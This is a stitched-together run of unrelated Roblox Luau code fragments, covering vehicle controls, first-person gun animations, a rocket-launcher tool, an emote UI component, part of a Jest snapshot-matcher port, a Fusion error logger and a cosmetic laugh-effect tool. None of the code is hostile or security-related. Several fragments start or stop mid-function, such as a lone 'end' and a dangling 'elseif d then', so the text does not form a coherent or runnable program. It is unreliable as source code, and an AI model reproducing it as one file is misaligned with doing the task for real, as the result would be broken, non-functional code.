function CheckMobile() if UserInputService.TouchEnabled == true and UseGyroSteering.Value == false then -- Won't show mobile guis if gyro is enabled UserInputService.ModalEnabled = true GuiControls.Parent = PlayerGui end end function CheckVR() if UserInputService.VREnabled then UpdateVRPos() -- Hide tool UI using VR if PlayerGui and PlayerGui:FindFirstChild("DisplayGui") and PlayerGui:FindFirstChild("ColorGui") then PlayerGui:FindFirstChild("DisplayGui").Enabled = false PlayerGui:FindFirstChild("ColorGui").Enabled = false end UpdateCharTrans(1,0) end end UserInputService.InputEnded:connect(function(Key) if WeldObject.Value ~= nil then --Ends Accelerate if Key.KeyCode == Enum.KeyCode.W or Key.KeyCode == Enum.KeyCode.Up or Key.KeyCode == Enum.KeyCode.ButtonR2 then if Direction == 1 then Direction = 0 end end if Key.KeyCode == Enum.KeyCode.S or Key.KeyCode == Enum.KeyCode.Down or Key.KeyCode == Enum.KeyCode.ButtonL2 then if Direction == -1 then Direction = 0 end end --Ends Steer if Key.KeyCode == Enum.KeyCode.D or Key.KeyCode == Enum.KeyCode.Right then if Steer == 1 then Steer = 0 end end if Key.KeyCode == Enum.KeyCode.A or Key.KeyCode == Enum.KeyCode.Left then if Steer == -1 then Steer = 0 end end end end)
------------------------------------------------------------------------------
local function PlayerAdded(player) wait(1) UpdateEveryone() end for _, p in ipairs(game.Players:GetPlayers()) do PlayerAdded(p) end game.Players.PlayerAdded:Connect(PlayerAdded) game.Players.PlayerRemoving:Connect(function(player) wait(1) UpdateEveryone() end)
--// Animations
-- Idle Anim IdleAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- FireMode Anim FireModeAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.25) objs[4]:WaitForChild("Click"):Play() end; -- Reload Anim ReloadAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.5) TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.5) wait(0.5) local MagC = Tool:WaitForChild("Mag"):clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame) objs[4].Transparency = 1 objs[6]:WaitForChild("MagOut"):Play() TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621778965, -2.69811869, 0.787567914, -0.220087856, 0.575584888, -0.51537323, 0.276813388, 0.811026871, -0.337826759, -0.935379863, 0.104581922), function(X) return math.sin(math.rad(X)) end, 0.3) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.29060709, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.1) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.3) wait(0.3) objs[6]:WaitForChild('MagIn'):Play() TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.3) wait(0.4) MagC:Destroy() objs[4].Transparency = 0 TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.98480773, -0.171010077, -0.0301536508, 0, -0.173647955, 0.984807789, -0.173648179, -0.969846308, -0.171009853), function(X) return math.sin(math.rad(X)) end, 0.3) wait(0.3) objs[7].Parent:WaitForChild('BoltForward'):Play() TweenJoint(objs[7], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.03) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.395501226, -1.07592201, 0.98480773, -0.171010077, -0.0301536508, 0, -0.173647955, 0.984807789, -0.173648179, -0.969846308, -0.171009853), function(X) return math.sin(math.rad(X)) end, 0.1) wait(0.15) end; -- Bolt Anim BoltBackAnim = function(char, speed, objs) TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.518400908, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.492658436, -1.55705214, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.4) objs[5]:WaitForChild("BoltBack"):Play() TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.609481037, -1.02827215, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.175939053, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.3) end; BoltForwardAnim = function(char, speed, objs) objs[5]:WaitForChild("BoltForward"):Play() TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[2], nil , CFrame.new(-0.84623456, -0.900531948, -0.749261618, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.617181182, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.2) wait(0.2) end; -- Bolting Back BoltingBackAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.03) end; BoltingForwardAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1) end; InspectAnim = function(char, speed, objs) ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play() ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(1) local MagC = Tool:WaitForChild("Mag"):clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame) Tool.Mag.Transparency = 1 Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play() ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.13) ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() wait(0.20) ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play() wait(0.8) ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.5) Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(0.3) MagC:Destroy() Tool.Mag.Transparency = 0 wait(0.1) end; AttachAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- Patrol Anim PatrolAnim = function(char, speed, objs) TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; } return Settings
-- lightOn(b) -- wait(0.15) -- -- lightOff(b) -- wait(0.1)
end
----------------- --| Functions |-- -----------------
local function MakeBaseRocket() -- Set up the rocket part local rocket = Instance.new('Part') rocket.Name = 'Rocket' rocket.FormFactor = Enum.FormFactor.Custom --NOTE: This must be done before changing Size rocket.Size = ROCKET_PART_SIZE rocket.CanCollide = false rocket.BottomSurface = Enum.SurfaceType.Smooth rocket.TopSurface = Enum.SurfaceType.Smooth -- Add the mesh local mesh = Instance.new('SpecialMesh', rocket) mesh.MeshId = ROCKET_MESH_ID mesh.Scale = ROCKET_MESH_SCALE mesh.TextureId = ToolHandle.Mesh.TextureId -- Add fire local fire = Instance.new('Fire', rocket) fire.Heat = 10 fire.Size = 5 -- Add the propulsion local rocketPropulsion = Instance.new('RocketPropulsion', rocket) rocketPropulsion.CartoonFactor = 1 rocketPropulsion.TargetRadius = TARGET_RADIUS rocketPropulsion.MaxSpeed = MAX_SPEED rocketPropulsion.MaxTorque = MAX_TORQUE rocketPropulsion.MaxThrust = MAX_THRUST rocketPropulsion.ThrustP = THRUST_P rocketPropulsion.ThrustD = THRUST_D -- Clone the sounds local swooshSoundClone = SwooshSound:Clone() swooshSoundClone.Parent = rocket local boomSoundClone = BoomSound:Clone() boomSoundClone.Parent = rocket -- Attach creator tags local creatorTag = Instance.new('ObjectValue', rocket) creatorTag.Name = 'creator' --NOTE: Must be called 'creator' for website stats creatorTag.Value = MyPlayer local iconTag = Instance.new('StringValue', creatorTag) iconTag.Name = 'icon' iconTag.Value = Tool.TextureId -- Finally, clone the rocket script and enable it local rocketScriptClone = RocketScript:Clone() rocketScriptClone.Parent = rocket rocketScriptClone.Disabled = false return rocket end local function OnEquipped() MyModel = Tool.Parent MyPlayer = PlayersService:GetPlayerFromCharacter(MyModel) BaseRocket = MakeBaseRocket() RocketClone = BaseRocket:Clone() end local function OnActivated(byFireButton) if Tool.Enabled and MyModel and MyModel:FindFirstChild('Humanoid') and MyModel.Humanoid.Health > 0 then Tool.Enabled = false -- Get the target position local targetPosition = MyModel.Humanoid.TargetPoint if byFireButton then -- Using Fire Button, shoot forwards targetPosition = MyModel.Humanoid.Torso.CFrame.lookVector * 1000 end -- Position the rocket clone local spawnPosition = ToolHandle.Position + (ToolHandle.CFrame.lookVector * (ToolHandle.Size.z / 2)) RocketClone.CFrame = CFrame.new(spawnPosition, targetPosition) --NOTE: This must be done before assigning Parent DebrisService:AddItem(RocketClone, 30) RocketClone.Parent = Workspace -- Assign target and launch! FireSound:Play() local rocketPropulsion = RocketClone:FindFirstChild('RocketPropulsion') if rocketPropulsion then local direction = (targetPosition - RocketClone.Position).unit rocketPropulsion.TargetOffset = RocketClone.Position + (direction * TARGET_OVERSHOOT_DISTANCE) rocketPropulsion:Fire() end wait(0) --TODO: Remove when sounds realize they can be played as soon as they enter the Workspace -- Swoosh! local swooshSound = RocketClone:FindFirstChild('Swoosh') if swooshSound then swooshSound:Play() end -- Prepare the next rocket to be fired RocketClone = BaseRocket:Clone() ReloadSound:Play() wait(COOLDOWN) -- Stop the reloading sound if it hasn't already finished ReloadSound:Stop() Tool.Enabled = true end end local function OnUnequipped() ReloadSound:Stop() --TODO: This does not work online end
--[[ Chooses between the different GuiTypes that the emotes can be displayed in ]]
local Roact = require(script.Parent.Parent.Packages.Roact) local t = require(script.Parent.Parent.Packages.t) local clientConfig = require(script.Parent.Parent.clientConfig) local ConfigurationContext = require(script.Parent.Parent.Libraries.Configuration).ConfigurationContext local enums = require(script.Parent.Parent.enums) local EmoteBarScreen = require(script.Parent.EmoteBarScreen) local EmoteWheelBillboard = require(script.Parent.EmoteWheelBillboard) local EmoteView = Roact.Component:extend("EmoteView") EmoteView.defaultProps = { isVisible = true, forceHide = false, } EmoteView.validateProps = t.strictInterface({ forceHide = t.boolean, isVisible = t.boolean, configuration = clientConfig.validate, }) function EmoteView:render() local guiType = self.props.configuration.guiType if guiType == enums.GuiType.EmoteBar then return Roact.createElement(EmoteBarScreen, { isVisible = self.props.isVisible and not self.props.forceHide, }) elseif guiType == enums.GuiType.EmoteWheel then return Roact.createElement(EmoteWheelBillboard, { isVisible = self.props.isVisible, }) end end return ConfigurationContext.withConfiguration(EmoteView)
--[[ Handles the client-side of the avatar model inside the vehicle Configures the Humanoid TODO: Add animation to the avatar ]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local ReplicatedConstants = require(ReplicatedStorage.Source.Constants.ReplicatedConstants) local ClientAvatarComponent = {}
-- ROBLOX TODO: ADO-1552 add toMatchInlineSnapshot
function _toMatchSnapshot(config: MatchSnapshotConfig) local context = config.context local hint = config.hint local inlineSnapshot = config.inlineSnapshot local isInline = config.isInline local matcherName = config.matcherName local properties = config.properties local received = config.received --[[ deviation: we modify the TestEZ test runner to record the test context in a global state for jest-snapshot to find the correct snapshot deviation: loads an empty snapshot state if one doesn't exist, Jest creates one by default but we cannot do so because of permission issues --]] local snapshotFileName = _G[JEST_TEST_CONTEXT].instance.Name:match("(.*)%.spec") .. ".snap" if _G[JEST_TEST_CONTEXT].snapshotState == nil then local snapshotPath = nil pcall(function() snapshotPath = _G[JEST_TEST_CONTEXT].instance.Parent.__snapshots__[snapshotFileName] end) local ok, result = pcall(function() return SnapshotState.new( snapshotPath, { updateSnapshot = _G.UPDATESNAPSHOT or "none", snapshotFormat = {} } ) end) if ok then _G[JEST_TEST_CONTEXT].snapshotState = result else return { message = function() return "Jest-Roblox: Error while loading snapshot file" end, pass = false, } end end context.snapshotState = context.snapshotState or _G[JEST_TEST_CONTEXT].snapshotState context.currentTestName = context.currentTestName or table.concat(_G[JEST_TEST_CONTEXT].blocks, " ") -- ROBLOX deviation: we don't call dontThrow because we don't yet have the functionality in -- place where we add errors to global matcher state and deal with them accordingly -- so we instead rely on throwing the actual errors -- local _ = context.dontThrow and context.dontThrow() local currentTestName = context.currentTestName local isNot = context.isNot local snapshotState = context.snapshotState if isNot then error(AssertionError.new({ message = matcherErrorMessage(matcherHintFromConfig(config, false), NOT_SNAPSHOT_MATCHERS), })) end if snapshotState == nil then -- Because the state is the problem, this is not a matcher error. -- Call generic stringify from jest-matcher-utils package -- because uninitialized snapshot state does not need snapshot serializers. error(AssertionError.new({ message = matcherHintFromConfig(config, false) .. "\n\n" .. "Snapshot state must be initialized" .. "\n\n" .. printWithType("Snapshot state", snapshotState, stringify), })) end local fullTestName = if currentTestName and hint then currentTestName .. ": " .. hint :: string else currentTestName or "" -- future BREAKING change: || hint if typeof(properties) == "table" then -- ROBLOX deviation: Roblox Instance matchers -- allow property matchers against received Instance values if received == nil or (typeof(received) ~= "table" and getType(received) ~= "Instance") then error(AssertionError.new({ message = matcherErrorMessage( matcherHintFromConfig(config, false), RECEIVED_COLOR("received") .. " value must be an object when the matcher has " .. EXPECTED_COLOR("properties"), printWithType("Received", received, printReceived) ), })) end local propertyPass = context.equals(received, properties, { context.utils.iterableEquality, context.utils.subsetEquality, -- ROBLOX deviation: Roblox Instance matchers -- ROBLOX TODO: uncomment when implementing snapshot property matchers on Instances -- context.utils.instanceSubsetEquality, }) if not propertyPass then local key = snapshotState:fail(fullTestName, received) local matched = key:match("(%d+)$") -- ROBLOX deviation START: no way for Luau to know if matched is non-nil then tonumber(matched) is guaranteed to be non-nil local count = if matched == nil then 1 else tonumber(matched) :: number -- ROBLOX deviation END local message = function() return matcherHintFromConfig(config, false) .. "\n\n" .. printSnapshotName(currentTestName, hint, count) .. "\n\n" .. printPropertiesAndReceived(properties, received, snapshotState.expand) end return { message = message, name = matcherName, pass = false, } else received = utils.deepMerge(received, properties) end end local result = snapshotState:match({ error = context.error, inlineSnapshot = inlineSnapshot, isInline = isInline, received = received, testName = fullTestName, }) local actual = result.actual local count = result.count local expected = result.expected local pass = result.pass if pass then return { message = function() return "" end, pass = true, } end local message if expected == nil then message = function() local retval = matcherHintFromConfig(config, true) .. "\n\n" .. printSnapshotName(currentTestName, hint, count) .. "\n\n" .. "New snapshot was " .. BOLD_WEIGHT("not written") .. ". The update flag " .. "must be explicitly passed to write a new snapshot.\n\n" .. "This is likely because this test is run in a continuous integration " .. "(CI) environment in which snapshots are not written by default.\n\n" .. "Received:" if actual:find("\n") then retval = retval .. "\n" else retval = retval .. " " end retval = retval .. bReceivedColor(actual) return retval end else message = function() return matcherHintFromConfig(config, true) .. "\n\n" .. printSnapshotName(currentTestName, hint, count) .. "\n\n" .. printSnapshotAndReceived(expected, actual, received, snapshotState.expand) end end -- Passing the actual and expected objects so that a custom reporter -- could access them, for example in order to display a custom visual diff, -- or create a different error message return { actual = actual, expected = expected, message = message, name = matcherName, pass = false, } end local function toThrowErrorMatchingSnapshot( this: types.Context, received: any, hint: string | any, fromPromise: boolean ) local matcherName = "toThrowErrorMatchingSnapshot" -- Future breaking change: Snapshot hint must be a string -- if (hint !== undefined && typeof hint !== string) {} return _toThrowErrorMatchingSnapshot({ context = this, hint = hint, isInline = false, matcherName = matcherName, received = received, }, fromPromise) end function _toThrowErrorMatchingSnapshot(config: types.MatchSnapshotConfig, fromPromise: boolean?) local context = config.context local hint = config.hint local inlineSnapshot = config.inlineSnapshot local isInline = config.isInline local matcherName = config.matcherName local received = config.received -- ROBLOX deviation: we don't call dontThrow because we don't yet have the functionality in -- place where we add errors to global matcher state and deal with them accordingly -- so we instead rely on throwing the actual errors -- local _ = context.dontThrow and context.dontThrow() local isNot = context.isNot local promise = context.promise if not fromPromise then if typeof(received) ~= "function" then local options: JestMatcherUtils.MatcherHintOptions = { isNot = isNot, promise = promise } error(AssertionError.new({ message = matcherErrorMessage( matcherHint(matcherName, nil, "", options), RECEIVED_COLOR("received") .. " value must be a function", printWithType("Received", received, printReceived) ), })) end end if isNot then error(AssertionError.new({ message = matcherErrorMessage(matcherHintFromConfig(config, false), NOT_SNAPSHOT_MATCHERS), })) end local error_ if fromPromise then error_ = received else local ok, result = pcall(function() received() end) if not ok then error_ = result end end if error_ == nil then -- Because the received value is a function, this is not a matcher error. error(AssertionError.new({ message = matcherHintFromConfig(config, false) .. "\n\n" .. DID_NOT_THROW })) end -- ROBLOX deviation: instead of being able to set received = error.message in our -- _toMatchSnapshot call, we have to deal with different cases since in Lua -- we could be dealing with our Error polyfill, a thrown object, or a thrown -- string if instanceof(error_, Error) or typeof(error_) == "table" and rawget(error_, "message") ~= nil then error_ = error_.message elseif typeof(error_) ~= "string" then error_ = tostring(error_) end return _toMatchSnapshot({ context = context, hint = hint, inlineSnapshot = inlineSnapshot, isInline = isInline, matcherName = matcherName, received = error_, }) end return { -- EXTENSION = EXTENSION, SnapshotState = SnapshotState, addSerializer = addSerializer, -- buildSnapshotResolver = buildSnapshotResolver, -- cleanup = cleanup, getSerializers = getSerializers, -- isSnapshotPath = isSnapshotPath, -- toMatchInlineSnapshot = toMatchInlineSnapshot, toMatchSnapshot = toMatchSnapshot, toThrowErrorMatchingSnapshot = toThrowErrorMatchingSnapshot, utils = utils, -- WORKSPACES FIXME: needs to be exported for consumption by workspace neighbors plugins = require(CurrentModule.plugins), }
-- Coroutine runner that we create coroutines of. The coroutine can be -- repeatedly resumed with functions to run followed by the argument to run -- them with.
local function runEventHandlerInFreeThread() -- Note: We cannot use the initial set of arguments passed to -- runEventHandlerInFreeThread for a call to the handler, because those -- arguments would stay on the stack for the duration of the thread's -- existence, temporarily leaking references. Without access to raw bytecode -- there's no way for us to clear the "..." references from the stack. while true do acquireRunnerThreadAndCallEventHandler(coroutine.yield()) end end
-- Are we falling?
hum.FreeFalling:connect(function() FreeFalling = true end)
-- if rot<math.pi/8 then -- rot=rot+math.pi/20 -- end
spd.velocity=chg+(engine.CFrame.lookVector-Vector3.new(-0.5,0,0))*inc --gyro.cframe=mouse.Hit --gyro.cframe=gyro.cframe*CFrame.Angles(0,math.pi/5,rot) elseif d then
--[[ Utility function to log a Fusion-specific error. ]]
local Package = script.Parent.Parent local Types = require(Package.Types) local messages = require(Package.Logging.messages) local function logError(messageID: string, errObj: Types.Error?, ...) local formatString = messages[messageID] if formatString == nil then messageID = "unknownMessage" formatString = messages[messageID] end local errorString if errObj == nil then errorString = string.format("[Fusion] " .. formatString .. "\n(ID: " .. messageID .. ")", ...) else formatString = formatString:gsub("ERROR_MESSAGE", errObj.message) errorString = string.format("[Fusion] " .. formatString .. "\n(ID: " .. messageID .. ")\n---- Stack trace ----\n" .. errObj.trace, ...) end error(errorString:gsub("\n", "\n "), 0) end return logError
-- ROBLOX FIXME: add type constraint <EachCallback extends TestCallback>
type Each<EachCallback> = ((table: EachTable, ...any) -> ((title: string, test: EachTestFn<EachCallback>, timeout: number?) -> ())) | (() -> () -> ()) export type HookBase = (testName: TestName, fn: TestFn, timeout: number?) -> () export type ItBase = typeof(setmetatable({} :: { each: Each<TestFn> }, { __call = function(_, testName: TestName, fn: TestFn, timeout: number?): () end, })) export type It = ItBase & { only: ItBase, skip: ItBase, todo: (testName: TestName) -> () } export type ItConcurrentBase = typeof(setmetatable({} :: { each: Each<ConcurrentTestFn> }, { __call = function(_, testName: string, testFn: ConcurrentTestFn, timeout: number?): () end, })) export type ItConcurrentExtended = ItConcurrentBase & { only: ItConcurrentBase, skip: ItConcurrentBase } export type ItConcurrent = It & { concurrent: ItConcurrentExtended } export type DescribeBase = typeof(setmetatable({} :: { each: Each<BlockFn> }, { __call = function(_, blockName: BlockName, blockFn: BlockFn): () end, })) export type Describe = DescribeBase & { only: DescribeBase, skip: DescribeBase } export type TestFrameworkGlobals = { it: ItConcurrent, test: ItConcurrent, fit: ItBase & { concurrent: ItConcurrentBase? }, xit: ItBase, xtest: ItBase, describe: Describe, xdescribe: DescribeBase, fdescribe: DescribeBase, beforeAll: HookBase, beforeEach: HookBase, afterEach: HookBase, afterAll: HookBase, } export type GlobalAdditions = TestFrameworkGlobals & { __coverage__: CoverageMapData, jasmine: Jasmine, fail: () -> (), pending: () -> (), spyOn: () -> (), spyOnProperty: () -> (), }
-- FUNCTIONS
function CollectiveWorldModel.setupWorldModel(zone) if worldModel then return worldModel end local location = (runService:IsClient() and "ReplicatedStorage") or "ServerStorage" worldModel = Instance.new("WorldModel") worldModel.Name = "ZonePlusWorldModel" worldModel.Parent = game:GetService(location) return worldModel end
-- Print out the permission level of each player who joins
Players.PlayerAdded:Connect(function(player) local permissionLevel = AdminCommands.getPermissionLevelAsync(player) print(string.format("%s has a permission level of %d", player.Name, permissionLevel)) end)
--<DON'T TOUCH THE SCRIPT UNLESS YOU KNOW WHAT YOU ARE DOING!
local RS = game:GetService('ReplicatedStorage') local TS = game:GetService('TweenService') local Tool = script.Parent local TextureArray = {} local Activated = false local Debounce = false local Cooldown = 1 local Prop = nil local LaughAnim = nil Tool.Activated:Connect(function() if not Debounce then Debounce = true task.delay(Cooldown, function() Debounce = false end) local Character = Tool.Parent if not Activated then Activated = true LaughAnim = Character.Humanoid:LoadAnimation(RS.MinkV4.Laugh) LaughAnim:Play() Character.HumanoidRootPart.Anchored = true Prop = RS.MinkV4.Props.Tail:Clone() Prop.Parent = Character local Attachment = Instance.new('Attachment') Attachment.Parent = Character.HumanoidRootPart Attachment.Position = Vector3.new(0,-2.5,0) local Wave = RS.MinkV4.Effects.Wave:Clone() Wave.Parent = Attachment local Smoke = RS.MinkV4.Effects.Smoke:Clone() Smoke.Parent = Character.HumanoidRootPart local Pixel = RS.MinkV4.Effects.Pixel:Clone() Pixel.Parent = Character.HumanoidRootPart local Laugh = RS.MinkV4.Sound.Laugh:Clone() Laugh.Parent = Character.HumanoidRootPart local SmokeSound = RS.MinkV4.Sound.Smoke:Clone() SmokeSound.Parent = Character.HumanoidRootPart Laugh:Play() task.delay(1.6,function() Laugh:Destroy() task.wait(0.25) Character.HumanoidRootPart.Anchored = false LaughAnim:Stop() end) SmokeSound:Play() local Tween = TS:Create(SmokeSound, TweenInfo.new(1.5), {Volume = 0}) Tween:Play() Tween.Completed:Connect(function() SmokeSound:Destroy() end) Wave:Emit(2) Smoke:Emit(100) Pixel:Emit(50) for _, Item in ipairs(Character.Humanoid:GetAccessories()) do local Hair = Item.Handle:FindFirstChild("HairAttachment") ~= nil if Hair then TextureArray[Item] = {TextureID = Item.Handle.TextureID, Color = Item.Handle.Color, Material = Item.Handle.Material} Item.Handle.Color = Color3.fromRGB(168, 168, 168) Item.Handle.TextureID = '' Item.Handle.Material = Enum.Material.Neon end end elseif Activated then Activated = false local Tween = TS:Create(Prop.Handle, TweenInfo.new(0.5), {Transparency = 1}) Tween:Play() Tween.Completed:Connect(function() Prop:Destroy() end) for _, Item in ipairs(Character.Humanoid:GetAccessories()) do local Hair = Item.Handle:FindFirstChild("HairAttachment") ~= nil if Hair then Item.Handle.Color = TextureArray[Item].Color Item.Handle.Material = TextureArray[Item].Material Item.Handle.TextureID = TextureArray[Item].TextureID TextureArray[Item] = nil end end end end end)
-- Tips
